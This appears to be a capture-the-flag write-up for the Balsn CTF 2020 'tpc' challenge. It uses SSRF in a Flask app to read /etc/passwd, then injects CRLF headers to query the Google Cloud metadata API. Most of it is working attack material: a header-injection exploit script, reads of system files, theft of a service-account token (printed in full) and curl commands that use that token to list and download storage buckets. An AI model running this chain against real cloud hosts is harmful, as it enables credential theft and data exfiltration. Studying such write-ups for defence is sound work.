Tags: ssrf gcloud buckets cloud
Rating: 5.0
This web server has an ssrf vulnerability. We can fetch files on the system:
`http://35.194.175.80:8000/query?site=file:///etc/passwd`
We can also visit internal sites, like for example the Google metadata API.
I first fetched the `/opt/workdir/main-dc1e2f5f7a4f359bb5ce1317a.py` file by leaking the cmdline from `/proc/self/cmdline`:
```python
import urllib.request
from flask import Flask, request
app = Flask(__name__)
@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site).read()
return text
@app.route("/")
def hello_world():
return "/query?site=[your website]"
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)
```
Looks like it is using urllib which may be vulnerable to header injection.
The flag file is pretty much unguessable (They said so in the challenge description), so we can't just guess this name and fetch the flag.
We need to find another way.
I tried to visit the Google metadata API:
`http://35.194.175.80:8000/query?site=http://metadata/computeMetadata/`
But the legacy endpoints were disabled (Like `computeMetadata/v1beta` which doesn't require the `Metadata-Flavor: Google` to be used.
Since we may have a way to inject headers, we can try to inject the *Metadata-Flavor* header:
Script to send injected headers
```python
#!/usr/bin/env python3
import requests
import sys
url = "http://35.194.175.80:8000/query"
metadata = f"http://metadata/{sys.argv[1]}"
token = "ya29.c.KpcB5Qe-NVX5mDaRKfYLPJVZ3RGc3KKZAr32ZP3D21RagfRkNtDB9YsmAcxTuwba4Vo_VPzIb8acpPhpGTgcxcQWQAU5rhkpadpIq8dmRfkHSu-uQmp_ojoOFBqf0WVcsaT2AnLTynYH0wD5LrI4wpoxjOb3D27yM1SVsUm8CzbmkiwaN-LX9PP48Dz23puM6hD-TYsiqh_2Gg" # You get the token after visiting computeMetadata/v1/instance/service-accounts/default/token
params = {
"site": f"{metadata} HTTP/1.1\r\nMetadata-Flavor: Google\r\nAuthorization: Bearer {token}\r\nGarbage: "
}
params_str = "&".join("%s=%s" % (k,v) for k,v in params.items())
r = requests.get(url, params=params_str)
print(r.text)
```
Run the script and get a token for authorization (I also inserted this token into the script, but ended up using curl to finish this challenge instead)
```
python3 solve.py computeMetadata/v1/instance/service-accounts/default/token
```
Use the token to list buckets:
```
curl -H "Authorization: Bearer ya29.c.KpcB5Qe-NVX5mDaRKfYLPJVZ3RGc3KKZAr32ZP3D21RagfRkNtDB9YsmAcxTuwba4Vo_VPzIb8acpPhpGTgcxcQWQAU5rhkpadpIq8dmRfkHSu-uQmp_ojoOFBqf0WVcsaT2AnLTynYH0wD5LrI4wpoxjOb3D27yM1SVsUm8CzbmkiwaN-LX9PP48Dz23puM6hD-TYsiqh_2Gg" 'https://www.googleapis.com/storage/v1/b?project=balsn-ctf-2020-tpc
```
Download the correct container (There were a lot of containers, so I just downloaded them all. The container below is the right one that contains the flag)
```
curl -H "Authorization: Bearer ya29.c.KpcB5Qe-NVX5mDaRKfYLPJVZ3RGc3KKZAr32ZP3D21RagfRkNtDB9YsmAcxTuwba4Vo_VPzIb8acpPhpGTgcxcQWQAU5rhkpadpIq8dmRfkHSu-uQmp_ojoOFBqf0WVcsaT2AnLTynYH0wD5LrI4wpoxjOb3D27yM1SVsUm8CzbmkiwaN-LX9PP48Dz23puM6hD-TYsiqh_2Gg" 'https://www.googleapis.com/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o/containers%2Fimages%2Fsha256:82b1f60a85530dec16e7db3c4af65f3ea612f579dc25b0daa35d5d253183a537?generation=1605158574577657&alt=media&project=balsn-ctf-2020-tpc' --output container
```
Untar the container:
```
tar xvf container
```
Cat the flag file:
```
cat opt/workdir/flag-6ba72dc9ffb518f5bcd92eee.txt
```
FLAG: `BALSN{What_permissions_does_the_service_account_need}`